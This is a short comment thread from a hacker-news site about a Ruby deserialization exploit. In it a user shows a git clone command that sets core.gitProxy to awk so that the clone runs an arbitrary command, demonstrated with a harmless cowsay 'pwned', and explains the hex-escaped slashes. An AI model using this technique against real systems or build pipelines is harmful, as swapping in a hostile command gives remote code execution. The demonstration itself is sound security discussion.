News for hackers. Stuff that matters.
Re:Ruby 2.x Universal RCE Deserialization Gadget Chain by jwilk on Friday November 09, 2018 @04:42AM (#18413372)
If you wonder how to execute code via git clone:

  $ git clone --config=core.gitProxy=awk 'git://BEGIN{system("cowsay pwned > \x2fdev\x2ftty")}/'
  Cloning into 'BEGIN{system("cowsay pwned > \x2fdev\x2ftty")}'...
   _______
  < pwned >
   -------
          \   ^__^
           \  (oo)\_______
              (__)\       )\/\
                  ||----w |
                  ||     ||
  fatal: Could not read from remote repository.
  
  Please make sure you have the correct access rights
  and the repository exists.
Re:Ruby 2.x Universal RCE Deserialization Gadget Chain by Jenz on Friday November 09, 2018 @06:10AM (#18413666)
Why \x2f (in \x2fdev\x2ftty)?
Re:Ruby 2.x Universal RCE Deserialization Gadget Chain by jwilk on Friday November 09, 2018 @06:26AM (#18413711)
Only hostname (i.e. the thing between git:// and the next slash) is passed as an argument to the proxy command, so slashes in the payload had to be escaped.